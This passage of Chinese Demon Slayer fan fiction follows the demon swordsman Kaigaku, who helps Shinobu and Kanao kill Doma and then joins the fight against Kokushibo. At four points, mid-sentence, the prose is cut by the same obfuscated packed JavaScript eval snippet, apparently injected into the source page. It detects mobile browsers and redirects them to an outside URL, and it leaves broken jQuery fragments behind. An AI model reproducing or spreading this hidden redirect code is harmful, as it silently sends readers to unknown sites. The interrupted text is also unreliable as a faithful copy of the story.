“谢谢,不过是废话,我们和你们不一样。” “……” “……” “你原本讲话有这么冲的吗?人设都变了喂!” 然而我妻善逸再一次电光石火般消失在众人眼前,在人类的惊呼声和恶鬼的嘶吼声中,追着狯岳那熟悉的雷音而去。 可恶,稍微有点距离。 “等等我啊,大哥!”我妻善逸咬紧牙关,“不要被上弦一抓走了!” 实际上—— 狯岳先遇到的,是一只金色的狐狸。 “梨花?!”他停下脚步,狐疑地问,“你怎么在这里,你……刚才去哪里了?” “那不重要。”狐狸甩了甩尾巴,“走这边。” “……你要带我去哪里?” “去打上弦二,童磨。” 狯岳:“……” 狯岳:“???” “犹豫了吗?”狐狸回头看了他一眼,“上弦二的确不好打,铁扇一样的武器很特别,血鬼术也比较难缠。” “谁犹豫了!”狯岳没好气地翻了个白眼,“我只是还在想上弦一的事情。而且,为什么你一副对这里很了解的样子,你该不会和鬼有联系吧?!” “……想太多。” “是你太可疑了。” “快一点,不然虫柱要死掉了。” “……什么?!” 远处的房间传来战斗的声音,但那声音并不激烈,他还以为是一场普通的征伐……结果,居然是蝴蝶忍在挣扎吗?! “雷之呼吸,四之型,远雷!” 于是,原本用于远程攻击的剑型,被他用来赶路。 实际上,赶路最好用的是一之型,可他这不是不会用嘛。 但也多亏了远雷的浩大声势,上弦二,童磨,的注意力,短暂从重伤的蝴蝶忍身上转移开来。 “哦呀?又有谁来了吗?”童磨歪了歪头,“希望依然是个可爱的女孩子……” 等见到狯岳穿过破损的木门,他立刻露出了失望的表情: “什么嘛,原来是一点眼力劲都没有的小鬼。一边去,不要妨碍我,不然我可是会生气的哦?” 狯岳:好恶心的语气。 轻飘飘、黏糊糊,听起来非常做作。 周围开满莲花的莲花池优美淡雅,平桥上散落一片的女性尸块血腥恐怖。造成这一切的童磨却站在大出血的蝴蝶忍面前,露出无忧无虑的微笑,更显格格不入。 这就是……上弦之二。 仅次于黑死牟的存在。 他手持绘有金底莲花图案的铁扇,眼睛的颜色乱七八糟,头发的颜色……呃,是蝴蝶忍的血溅在顶上了吗? “雷之呼吸,二之型,稻魂!” 狯岳一边胡乱猜测,一边赶在童磨反应过来之前,冲了上去。 因为第一目标不是杀敌、而是救人,他的剑型虚虚实实,四击杀向童磨,第五击指向蝴蝶忍,空着的手揽过她的腰,把她从童磨身边带离。 他也得以看清,童磨头顶上那片红色,不是蝴蝶忍的血。 她的血已经洒了够多在地上,因为没有及时止血,连他身上的队服也快速濡湿。 接着,“雷之呼吸,三之型,聚蚊成雷!” 雷光在身后环绕,将铁扇扇来的冰晶原路奉还。 “啊咧,会呼吸法的鬼?”童磨合起铁扇,敲向掌心,“我知道了,你就是那只黑死牟殿看中的小老虎!” 狯岳:^=_=^。 狯岳:“哈啊?!” 无功而返的他停下来,是为了寻找下一次进攻的机会。可童磨停下来是为了什么? 为了和他讲笑话吗?! “呃,”童磨顿了顿,手指点着下唇,“但现在看,怎么看都觉得……” 狯岳……狯岳有一股不详的预感。 “……都觉得,你更像一只小猫咪哎!” 话音落下,狯岳脑袋里那根弦崩断了。 小老虎也好,小猫咪也好,这些家伙,一个两个,把他当成什么了?! “雷之呼吸,五之型,热界雷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156873|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 黑色的雷霆顺着蓝色的刀锋猛地扑向面前的敌人。 “哎呀,你生气了吗?对不起嘛。” 童磨居然没有做任何防御,硬生生吃了这一击,整个人被刀锋洞穿。 “好有趣的能力!”他大意到反击都忘了,只自顾自研究自己的伤口,“这些黑色的雷霆居然在命中后,能从伤口继续粉碎我的身体!这个血鬼术叫什么名字?” 狯岳冷哼一声:“你猜?” 其实……其实他还没想好。 不过,这种事情,就不必向敌人通报了。 “唉唉唉,告诉我嘛,我太好奇了!”童磨喋喋不休,“黑死牟殿很少有招新的想法,所以连对呼吸法剑士不敢兴趣的无惨大人都问过你的情况。在知道你可能已经死在转化过程中的时候,他还抱怨过自己的血被浪费了呢。” 狯岳:“……” 狯岳:“然后呢?” 这家伙的垃圾话太多,他干脆后退几步,回到蝴蝶忍身边,一边警戒,一边协助她对自己的伤势做应急处置。 “然后啊,就是小鸣女在外搜查的时候,居然在看到了活生生的你,实在吓了一跳。黑死牟殿在知道这事后,立刻让小鸣女送他离开了无限城;如果不是黑死牟殿不允许,我也想跟去看看的。”童磨挠了挠脸,“你们见面了吗?聊了些什么?为什么你要站在鬼杀队那一边?为什么鬼杀队会接纳你?为什么无惨大人还没有把你捏爆?你也脱离了无惨大人的控制吗,对了,你认识小祢豆子吗?无惨大人在找她呢。” 狯岳“啧”了一声:“你问题太多了,我该先回答哪一个?” “先从不要给小蝴蝶用那个药开始吧,”童磨涣散的注意力又转到蝴蝶忍身上,“那个药太难闻了,我怕待会儿小蝴蝶的口感会变苦。” 狯岳:…… 狯岳:你去死吧。 幸运的是,另一个方向的房门被“啪”得一声推开,蝴蝶忍的继子,栗花落香奈乎举着刀冲了进来:“师范!” 童磨的反应,可想而知: “哇哇,又是年轻漂亮的女孩子!我可真要多谢小鸣女!”他高兴地手舞足蹈,“太幸运了,今夜真是个美好的夜晚!” 栗花落香奈乎看到还活着的蝴蝶忍,松了一口气,试图来到蝴蝶忍身边。 但童磨非要凑上前逗她,香奈乎越着急,他就越高兴,还说些什么“你们的感情真好,好羡慕啊”,这种让人恨不得打死他的话。 狯岳转眼看了一眼,嗯,暂时没有生命危险,先不管。 蝴蝶忍则一边偷偷跟香奈乎比手势,一边在狯岳的手掌上写字。没办法,狯岳和她可一点默契都没有。 呃,汉字好多,好难认…… 呃…… 呃?! 什么叫做,先示敌以弱,让她被童磨吃掉?! 27.第二十七章 考虑到蝴蝶忍的杀伤全靠毒,大概是特意在自己体内培育了针对鬼的毒药,这种。 所以她要奋力作战,然后把自己送给敌人吃掉。 如果是其他鬼,恐怕不会吃她;又恐怕咬上一口后,发现有毒,就会把她丢开。 但如果是童磨? 想到这里,狯岳又看了一眼只在栗花落香奈乎身上留下划伤的童磨,露出了难以理解的表情。 如果是这个神经病,或许,真的会按照蝴蝶忍的计划行动吧。 可那又如何? 狐狸找他过来,是为了让蝴蝶忍活下去。 “这可是苏芳和产屋敷交易的一部分,你得乖乖给柱当肉盾、输出、辅助、甚至担架。”他回想起狐狸的话。“你不会做不到吧?” 狯岳把视线收回来,简单粗暴地系紧了缠在蝴蝶忍锁骨上的绷带,用口型对她无声地说: 看不懂。 蝴蝶忍:“……” 都这种时候了,这家伙、这家伙! 她恨不得用眼睛把狯岳给宰了,额角迸出青筋: “你在装傻吗?!” ——反正蝴蝶忍也不敢赌他是不是真的在装,她又不是他。 “那种事情不重要,”狯岳若无其事地站起身,“起码等我被打到爬不起来,再考虑备用方案吧。” “可那可能是唯一的——” “不见得。”狯岳打断她的话。“蝴蝶小姐,你给过我一本关于卫生学水处理的书,里面有一章叫做水质检查法,还记得吗?” 蝴蝶忍依然皱着眉:“你的意思是……” “你的方法也好,我的方法也好,目的都是一样的。” 一样的,为了制造机会,将童磨斩首。 还没有到山穷水尽的地步。就不要急着赌上全部。 她又不是他。 “你们在说什么?”童磨耐心听了一会儿,没听懂,终于决定介入进来:“当着我的面大声密谋,也太过分了一点吧?我要生气了哦。” 话虽如此,他听起来一点都没生气呢。 他只是随意挥舞几下扇子,造出大片冻气飘来荡去,在血鬼术的捏合下,发生奇异的变化。 “血鬼术,结晶之御子。” 六只冰制的小童磨在半空中凝结成形,然后欢快地按照主人的指挥,三只向栗花落香奈乎啪嗒啪嗒跑去,牵制住她的脚步。 另外三只,则向着狯岳和蝴蝶忍跑来。 接着,“血鬼术,寒烈的白姬”。 两个冰雕少女现身,喷出大片冻气,并伴随着小童磨制造的蔓莲华,向狯岳和蝴蝶忍甩出长鞭一样的冰造藤蔓。 “雷之呼吸,二之型,稻魂!” 狯岳脚下一蹬,冲上前,多段高速斩击,将藤蔓和两种冰雕一并斩断。 “花里胡哨。”他这样评价。 小童磨也好、白姬也好,自身强度都受到冰块厚度的限制,越薄越脆。 只有冻气中妨碍呼吸的冰晶比较麻烦,但也仅仅是对人类而言。 狯岳毫不在意地吸入能冻结肺腑的冰晶,也不在乎身体表面的凝冰,利用鬼的恢复力硬抗伤害:“你只有这种程度而已吗?” “觉得无聊了吗?抱歉抱歉,这些招式对你来说,的确太简单了。”童磨双手一拍,“那就给你看个大的吧—— “血鬼术,雾冰,睡莲菩萨!” 冰造的巨像拔地而起,足有十数米高,周围环绕着数朵盛开的冰莲花。菩萨慈眉善目,双手合十,每一处细节都精雕细琢,在四周蔓延的冰雾衬托下,仿佛真正的佛陀降临人世。 但也只是仿佛而已。 不过是徒有外表,毫无慈悲心的血鬼术造物而已。 “怎么样,是不是很厉害?”童磨斜卧在睡莲菩萨的头顶,“我们一起来玩吧!” ——玩你个头! 狯岳头皮发麻,肺腑不断被冻坏又不断被修复,习惯了疼痛的他又开始习惯寒冷,于是他的吐息中都带上了一丝丝挥之不去的寒意。 下一刻,菩萨开始挥动手掌。 如果被一掌击中的话,不管是人是鬼,恐怕都会变成一摊无法动弹的肉泥吧…… 但这尊睡莲菩萨,倒没有想象的那样难对付。 明明体型这么大,动作也出人意料地灵活,速度—— 却没有太快。 当然,也没有很慢,只是因为过大的体型,躲避时需要闪开的距离太长,以至于一般人的速度不太够用。 好在,现场的三个人,都是速度异于常人的存在。 坏在,重伤的蝴蝶忍,体力估计不太够用。 不能再拖了。 “没办法,虽然我很不情愿……但只能用那一招了。”狯岳忽然停下脚步,转而向睡莲菩萨冲去,“接下来,还得靠你们。” 他跳上菩萨伸过来的右手掌,在手指收拢前绕到侧面,沿着胳膊一路向上。 另一只左手像拍苍蝇一样拍过来,但他一个前滚翻,就脱离了手掌的范围,还被手掌拍下掀起的气浪向前推了一把。 “哎呀,”童磨惊讶地眨了眨眼睛,“真是一只灵活的小猫咪。但是——” 菩萨身上缠绕的冰藤蠕动着挡在前方,一根根编织成网,迎面扑来! “——要么躲到下面去,要么就要被我抓到咯!” 狯岳……狯岳还真没躲。 于是,第一条冰藤缠住了他,然后是第二条第三条第四条……无数条冰藤绕过来,将他一层层包裹起来,化成一颗洁白晶莹的大莲子。 “咦咦咦,”连童磨都吃了一惊,“真的被我抓到了?怎么会?本来能躲开的吧?” 栗花落香奈乎也被狯岳的陷落吓了一跳,她刚想采取救援行动,蝴蝶忍却抬起手,阻止了她。 “嗯~嗯~怎么办,扯成碎片,还是捏成球?”童磨在菩萨头顶打滚,“小猫咪是黑死牟殿的东西,欺负得过了头的话,黑死牟殿会不会生气?应该不会吧,毕竟我们相处时间才比较长,他才不会为新人生我的气。一定是这样。那就……” 说着说着,童磨的脸上忽然跳起一道黑色的电弧。 “……啊咧?” 又一道电弧跳动。越来越多的电弧跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168165|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。在他全身上跳动。在整个睡莲菩萨上跳动。在弥漫的冰雾间跳动。 那包裹着狯岳的、原本洁白晶莹的莲子,由内而外,变得又黑又闪! “怎、么、回、事?!”童磨被电得难以动弹,讲话一卡一卡地,“为、什、么?!” 到处都是电流,神经传递被切断,他浑身僵直,手下意识紧握,于是连铁扇都被电流贯通,牢牢吸附在睡莲菩萨的表面;他的手一时间挣脱不开,整个身体都被迫吸附上巨像冰凉的冰面。 而蝴蝶忍和栗花落香奈乎精神一振,先后高高跃起,瞄准了他的脖颈。 一者注入剧毒,一者顺着溃烂的缺口将其斩断。 “骗、人!”血肉爆开,童磨的脑袋掉了下来,“刚、才,是、怎、么、回、事?” 他没再操作睡莲菩萨,但漆黑的雷霆开始分解冰块,于是巨像轰然倒塌。 碎冰像暗器一样四溅,连带着黑色的电弧乱跳,腐蚀地面腐蚀墙面,连水池都盈满了电流,荷花一朵接一朵化为焦炭。 见童磨的脑袋和身体天各一方,不仅久久没有弥合的迹象、还从断口处开始缓慢崩解,香奈乎擦了擦眼睛周围的水渍,一把抱住放松下来、一时间摇摇欲坠的蝴蝶忍。 “怎么回事?怎么回事?”黑色雷霆消散,失去电弧干扰,童磨说话重新变顺畅,“为什么会这样?我都要死了,告诉我嘛!” 蝴蝶忍转过头,露出轻蔑的微笑:“你的冰,杂质太多了。导电效果,也出乎意料地好呢。” “唉、唉?” “而且,你也不知道,冰和水,可以利用温差发电吧?” 童磨:的确不知道。 “好难懂啊,”他喃喃道,“不过,我好像真的要死了吔?哎呀,无惨大人好像很生气的样子,可我也没办法啊,脑袋都掉下来啦!” “……这就是你的遗言吗?” “遗言吗,也没什么特别想说的,”童磨一副很苦恼地样子,“反正天国和地狱都不存在,怎样都无所谓。对了,你的名字,是叫忍,对吧?” “对不对的不重要,”蝴蝶忍笑眯眯,“你不用记住,我觉得蛮恶心的。” “唉,可我不觉得恶心,我的心还跳得很快!这,这就是爱吗?我——” 就在此时,天花板破了一个大洞,嘴平尹之助大吼着从天而降,一脚把童磨的脑袋踩碎。 “尹之助大人大驾光临啦……呃,忍?”看到蝴蝶忍的瞬间,嘴平尹之助老实下来,语气收敛了一点。“你、你们,血腥味好重!鬼呢?鬼在哪里?” ——在你脚下,碎成了渣呢。 碎渣很快又化成灰,彻底消散在人世间。 “鬼——在那里!” 说着,嘴平尹之助感觉到了什么,向还未完全融化的莲子冲去。 “等等!”蝴蝶忍赶忙叫停,“那是狯岳!” 嘴平尹之助:“……” 嘴平尹之助:“哦。” 他收起刀,伸手敲了敲冰块,盯着里面看起来只有两、三岁,正缩成一团、咬着大拇指睡觉的小鬼,困惑地挠了挠头。 28.第二十八章 “嘎!嘎!虫柱蝴蝶忍!队士狯岳!栗花落香奈乎!斩杀上弦之二!上弦之二已被斩杀!” 鎹鸦的通报声响起,我妻善逸尖叫: “大哥?!居然先我一步斩杀了上弦二?!还是和女孩子们一起?!” 而他的身边,赫然是灶门炭治郎和富冈义勇。 富冈义勇:^=_=^。 他们不是女孩子,还真是对不起了哈。 灶门炭治郎:“那我们更要快点把猗窝座斩掉才行!上弦三应该比上弦二弱吧?!” 猗窝座:“……” 谁踏马比童磨弱啊! 哎嘿,他还真比童磨弱,不然他早发起换位血战干掉那个混账了。 就额角迸出青筋:“少说废话!” “……可之前的时候,你不是说,你很喜欢说话吗?” 猗窝座顿时更生气了呢。 灶门炭治郎和富冈义勇都开了斑纹,还有师出同门的默契,再加上我妻善逸作弊般的听力和飞快的速度,猗窝座渐渐落了下风。 决定性的一击还是来自灶门炭治郎——在高强度的战斗中,他搞明白了通透世界。 于是,鎹鸦的通报再一次响彻无限城。 “哈啊?什么叫做你能看到猗窝座的骨头和肌肉?而且还感觉时间变慢了?”我妻善逸边跑边问,“你眼睛忽然变异了吗?” “……我也不知道,那是一种很奇妙的感觉。也许是看到的,也许是闻到的……不仅能感觉到别人,还能感觉到自身的肌肉运力伸展,血管流动收缩。”灶门炭治郎说不明白,“总之,那时候,预判能力和攻击速度都提升了很多。” “这么神奇!怎么做到的?” “都说了,我不知道……” 反正就是看到了,世界变透明了,战斗力大幅提升了。 我妻善逸尖叫:“什么嘛,太让人羡慕了!” 连水柱的心声都在羡慕,炭治郎这家伙,实在走运。 不过,狯岳那边不知怎么回事,心声居然变得……饥饿?野蛮?任性? 总之就是非常奇怪,和平常的他,完全不一样。 ——得快点找到大哥才行。 又一次差点被突然冒出来的房间打乱步伐,我妻善逸忍不住骂了声脏话。 好在他有超强的听力,视觉上的干扰不会让他迷失方向。 我妻善逸猜测,一定是上弦二做了什么,不然狯岳的心声不会变得这么奇怪。 过度的担心让身为呼吸法剑士的他呼吸不畅,冥冥中有股特别的感觉,或许是不详的预感,又或许只是讨厌的错觉而已。 “走吧。”狐狸又不知从什么地方冒了出来,蹲坐在昏睡着的狯岳身后:“我们去找上弦一,黑死牟。” 蝴蝶忍定定看了狐狸一眼:“狯岳怎么办?” “可以把他当成投掷类武器使用。” “……” “……” “这是和产屋敷说好的,”狐狸迈开脚步,“只要能派上用场,什么样的使用方法都不重要。” “……还是不要那么粗暴比较好,会被上弦一撕成两半的吧?” “那样也没关系,反正不会死。” 毫无顾忌地说出了相当冷酷的话呢。 这只狐狸……此时此刻,竟莫名让人有种心惊肉跳的感觉。 “怎么了?快跟上,”狐狸催促道,“不然,不死川玄弥和霞柱要死掉了。” 为什么,狐狸能知道另一个战场的情况? 蝴蝶忍看着狐狸四处穿梭的身影,把疑惑吞进肚腹,示意栗花落香奈乎和嘴平尹之助保持警戒,再小心翼翼地跟了出去。 鎹鸦盘桓在他们头顶,看着他们追着狐狸离去,没有提出任何异议。 “铮——” 又是琵琶的声音。 控制无限城的鬼试图把他们驱离,而狐狸总能先鎹鸦一步,发布正确的指令,免得他们被迫分开。 紧接着,周围房间发生变动,各种奇形怪状的鬼从各处犄角旮旯冒出来,但都不是栗花落香奈乎和嘴平尹之助的对手。 “看来,我们走在了正确的道路上。”被保护在中间的蝴蝶忍鼓励大家。“不然,那只能控制无限城的鬼,不会这么着急。” 身后的栗花落香奈乎点了点头,也不管她后脑勺有没有长眼;身前的嘴平尹之助响亮地应了一声,生怕声音小了她听不到。 狯岳……狯岳在嘴平尹之助的背上颠簸着,慢慢睁开了眼睛。 正对上蝴蝶忍微笑的脸。 “啊啦,”她语气轻快,“狯岳君,你醒啦,还认识我吗?” 狯岳没有回答,只从喉咙里发出“呜呜”的声音,并试图向她扑过来,双手向她拼命伸展。 好在绳子绑得很紧,他的挣扎毫无用处。 不过,随着挣扎不出,这家伙变得眼泪汪汪是怎么回事? “……完全变成小孩子了呀。”蝴蝶忍若有所思,“因为血鬼术使用过度,从生理到心理,都发生了退行吗?” 就像灶门祢豆子那样,智商换力量? “他好像都不认识我们了,”嘴平尹之助扭过头,“而且,很馋你们的样子。” 蝴蝶忍:“……” 蝴蝶忍:“的确。” 狯岳那猫一样的竖瞳死死盯着蝴蝶忍和栗花落香奈乎渗血的伤口,眼泪和口水一并流出来了呢。 栗花落香奈乎不知所措:“师范,怎么办?” “我也不知道。”蝴蝶忍瞥一眼一言不发的狐狸,“现在可没时间停下来为他治疗。” 狐狸没有表示反对,于是他们继续赶路。 而狯岳拼命伸手无果,终于意识到,自己身上存在束缚。 “等等!”蝴蝶忍脸色一变,“伊之助君,小心!” 狯岳没有伤害伊之助。 而是手指变爪,毫无轻重地把固定自己的绳索切断,顺便在自己的身上留下深深的伤口。 得到自由的狯岳,第一反应就是,要吃人—— 比如面前的蝴蝶忍,比如离得近的香奈乎,她们身上的血腥味都很香。 但狐狸“咚”地一声,撞破了一扇门。 狯岳的动作顿住了。 ——那边的味道,更香! 下一刻,他改变方向,冲过破洞,冲向正在对抗黑死牟,浑身破破烂烂的不死川实弥。 并因为身上的衣物过于宽大,中途被绊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178363|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一跤,以至于咕噜噜像颗球一样,突兀地滚入战场。 悲鸣屿行冥和不死川实弥精神高度紧张,全都无视了他,但黑死牟没有。 他歪了歪头,惊讶地看了过来:“嚯?” 这一下,也给了悲鸣屿行冥和不死川实弥喘息的机会,让他们得以短暂脱离黑死牟的攻击范围。 正准备和不死川玄弥合作偷袭黑死牟、断了一臂的时透无一郎:“……” 他用脚停住了这颗球:“狯岳?” “啊,是的,请不要伤害——我是说,请不要放过他,”蝴蝶忍的声音随后传来,“他失去理智了,会妨碍大家的战斗。” 急着想要加入战场、又不好丢下斩杀上弦二的功臣狯岳不管的时透无一郎:“……” 只能暂时把刀放下,将晕乎乎的狯岳捞起,满怀希望地问:“你能管好自己吗?” 狯岳对此的回答是,张口想咬时透无一郎手臂的断口。 “……好了我知道了。”时透无一郎把狯岳的双手反剪,单手钳制住,“谁来接手……” 没人理他。 栗花落香奈乎和嘴平尹之助拔出刀,目光锁定在黑死牟身上。不死川玄弥倒是想继续他们之前的计划,但有了增援,还是栗花落香奈乎、嘴平尹之助这种水平接近柱的增援,他又有了别的选择。 倒是蝴蝶忍,一看就知道,她伤得也很重,一只手也废掉了,正勉强配合着好手,打算给他做专业的止血处理。他自己处理得太粗糙了。 “只能拜托你看着狯岳君了,其他人都有事要做。”她笑眯眯地说,“包括我。” “可是——” “没有可是。”蝴蝶忍打断他的话。“这不是你一个人的战斗。” 时透无一郎:“……” 时透无一郎:“…………” 他张了张口: “速度。” “什么?” “我们的速度太慢了,只能勉强应付黑死牟的月之呼吸,根本无法近身。在外围敲敲打打是不会给他造成任何伤害的。”他解释说明。“我们需要雷之呼吸的速度。” “……单论速度的话,善逸君才是队士中最快的?” “那家伙不行。他只会直来直去的一之型,太容易被预测了。一击失败就会死,逃都逃不掉。除非……” 话音落下,两人不约而同地把目光投向了小孩子模样的狯岳。 “那么,”蝴蝶忍看向一边的狐狸,“该怎么让他恢复过来呢?” 狐狸微微张开口,像在微笑一样,说出来的话却让人毛骨悚然: “很简单。”他冷冷道,“让他吃人。” “……” “……” 蝴蝶忍的微笑几乎维持不住:“什么?!” “很多队士不是已经倒霉摔死了吗?”狐狸举例,“让他吃掉,也算物尽其用。” 说到这里,狐狸顿了顿,给他们消化这番话的时间,又继续道: “现在可是大决战,你们必须把一切可利用的东西全部利用起来才行。怎么,你们要放弃这个绝佳的机会吗?” 话音落下,时透无一郎沉默片刻,看向自己不久前被黑死牟斩断的左手。 29.第二十九章 时透无一郎:“我可以给他吃,所以——” 蝴蝶忍一个没忍住,一手刀敲上他的脑壳。 “别说傻话了,”她额角迸出青筋,“就算你自愿给狯岳君吃,他,”她看了一眼明显很想吃的狯岳,“他在恢复理智后,也会后悔的。” 时透无一郎:“是吗?” “我说是就是。”蝴蝶忍这话说得斩钉截铁。“既然鬼吃人可以获得能量,那么,从理论上来说,鬼吃鬼也可以。” 说着,她亮出了针管。 里面,是上弦二,童磨的血。 狐狸……狐狸还是没有反对。 于是,她把针头抵在狯岳手臂的位置,手指停在按压柄上…… 却没有立刻按下。 “说起来,”蝴蝶忍若有所思,“狯岳君和祢豆子小姐一样,都是坚持不吃人的鬼。如果现在给他用了鬼血,会不会产生不好的变化?” 时透无一郎:你是战地医生,应该由你来决定才对吧? 时透无一郎:“那你要不要赌?” 当然要。 “……只能等狯岳君恢复后,再说对不起了。” 由于童磨消散得很慢,她收集了很多血,多到将大部分鬼血注射到狯岳体内后,后者还真顺利清醒过来,体格也恢复了原本的姿态。 ——刚才发生了什么? 狯岳伸手扶了扶自己晕乎乎的脑袋,眼神从懵懂变清澈:“蝴蝶小姐?时透先生?” “似乎没什么问题。”蝴蝶忍松了一口气,“太好了,你刚才……啊,”她看着转头向黑死牟龇牙的狯岳,“应该不需要特别说明了吧?” 狯岳烦躁地问:“我刀呢?!” 时透无一郎把他的日轮刀扔给他:“注意配合!” 狯岳连句“废话”都懒得说,伸手握住刀柄,直接冲了出去,任由刀鞘随着重力滑落,“当啷”一声掉在地上。 和黑死牟打过两场的他,比在场其他人更熟悉对方的套路——起手式是什么,进攻要怎么实现,防守又是怎样的剑型,他都有所准备。 被悲鸣屿行冥和不死川实弥揍过不止两场的他,也比在场其他人更熟悉他俩的套路——这一型的目的是什么,接下来要接哪一型,他该怎么插进去又不影响同伴的发挥,等等。 “来得太慢了!”不死川实弥压力骤减,骂骂咧咧,“打个上弦二还能把自己打缩水,行不行啊你!” “吵死了!”狯岳翻了个白眼,“打了半天只把上弦一上衣打掉的家伙给我闭嘴!” 神特么只打掉上衣,鬼是会再生的好么! 但不死川实弥懒得反驳,无辜躺枪的悲鸣屿行冥:“……南无。” 他挥舞起手斧,重重砸向黑死牟,并接着铁链将月之呼吸伴生的月牙刀气一扫而空。 不死川实弥和狯岳借此机会,一左一右,风雷大作,声势浩大地向黑死牟夹击而去。 侧面则是栗花落香奈乎和嘴平尹之助,他们的动作稍慢,但极为精准,眼看就要一并给黑死牟造成杀伤—— 可惜,黑死牟手中的虚哭神去突然伸长,并从侧面长出新的刀刃,一推一旋,向四个人毫不留情地扫去。 “糟了!” 不死川实弥发出一声闷哼,肩膀冒血;悲鸣屿行冥一抖锁链,卷上栗花落香奈乎的腰,把她拉到身边保护;狯岳把嘴平尹之助撞开,挡在身前的左手掉在地上。 “你没事吧?!”嘴平尹之助着急地问。 当然没事,他是鬼,不是人,手断了可以再长。 武器换新的黑死牟,攻击范围增加了一倍,攻击速度、不,是预判速度,快得惊人。 简直像能读心一样,知道他们接下来往哪个角度做出何种攻击——这会是他的血鬼术吗? 又噼里啪啦打了一阵后的狯岳:应该不是。 因为悲鸣屿行冥的预判速度也莫名变快了。 他可是连斑纹都还没开吔! 旁边不死川实弥倒开了斑纹,但预判速度还是差了一截,以至于受到了不轻的伤。 不过,就算悲鸣屿行冥的预判速度达到了和黑死牟同样的层次,但也仅仅勉强和黑死牟打平,无法确立绝对优势。 这样下去不行。 必须想办法让他停下来,哪怕只有一瞬—— “雷之呼吸,二之型,稻魂!” 多亏了童磨的“帮助”,狯岳对血鬼术的理解又上了一个层次。 冰可以导电,刀也可以导电,黑死牟的刀更可以——他的刀全部都是自己的血肉所化,刀柄可不带绝缘体! 只要在接触的那一瞬放出雷电,即使是黑死牟,神经组织也会损伤,导致神经冲动无法传导! 谁让黑死牟把刀变得又长又分叉,像颗树一样呢? 原本难以命中的细长太刀,一下子变成了巨大的靶子。 “你……又进步了。”随着漆黑雷霆的蔓延,黑死牟竟眼疾手快,选择直接将手上的刀丢掉,“不错。” 狯岳磨了磨牙:“你倒是别躲啊!” 黑死牟从手掌中重新拔出一把刀,是造型普普通通的初始款,还没有变长没有分叉—— 于是,狯岳不管不顾地撞了上去。 他任由这把刀刺穿自己的胸膛,双手抓住锋利的刀刃,然后,放电! 就是现在! 不死川玄弥从远处开枪,子弹穿过狯岳的喉咙,命中黑死牟的胸口! 下一刻,血鬼术发动,树木从伤口生根发芽,巨大的树干扎根地下,将黑死牟牢牢固定住! 这一下,完全出乎了黑死牟的意料,他似乎想说些什么,但狯岳根本不想听: “雷之呼吸,六之型,电轰雷轰!” 耳边还回响着风之呼吸、岩之呼吸、花之呼吸、兽之呼吸的声音,然后是…… 黑死牟那震耳欲聋的怒吼。 不需要再拔刀,十数把刀刃直接从他体内长出,长出的瞬间即为挥刀,月牙般的刀气以黑死牟为中心,向四周发散。 因为不死川玄弥就在身后,所以狯岳没有躲,上半身被尝试挣脱的黑死牟横劈开来,又陷入到必须把身体拼起来的窘境。 再说一次,幸好他是鬼,即使伤成这样也能复原。 而不死川玄弥还在不受影响地使用血鬼术,黑死牟的血被树木大量吸收,然后继续用于固定这个强悍的敌人。 不死川实弥一刀砍中黑死牟坚硬的后颈,砍了一半就砍不下去;好在悲鸣屿行冥的流星锤适时杀到,添 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182624|195791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一把力,二者相加,不死川实弥那泛着青绿色的刀刃,瞬间变成了赤红色。 下一刻,这赤红的日轮刀,终于斩断了黑死牟的脖颈。 “成了?!” 倒在地上的狯岳,看着掉落在面前的、六只眼睛的鬼头,不敢置信地问。 “还没有!”栗花落香奈乎大喊,“他的伤口在止血!” “不要停下!”悲鸣屿行冥立刻反应过来,“继续!” 光砍脖子不够,就把他切成碎片好了,变成碎片的话,这家伙一定会死…… 见鬼。 在众人愤恨的目光中,黑死牟的脑袋,居然再生了! 虽然和之前的他造型不太一样,长出獠牙长出牛角长出肉芽没有人形,但那的确是个脑袋。 黑死牟,克服了砍头的弱点! 真是个可怕的对手,都到这种程度,居然还不肯倒下。 “那就再砍一次!”悲鸣屿行冥坚定的声音传来,“我们能砍下来一次,就一定能砍下来第二次!” 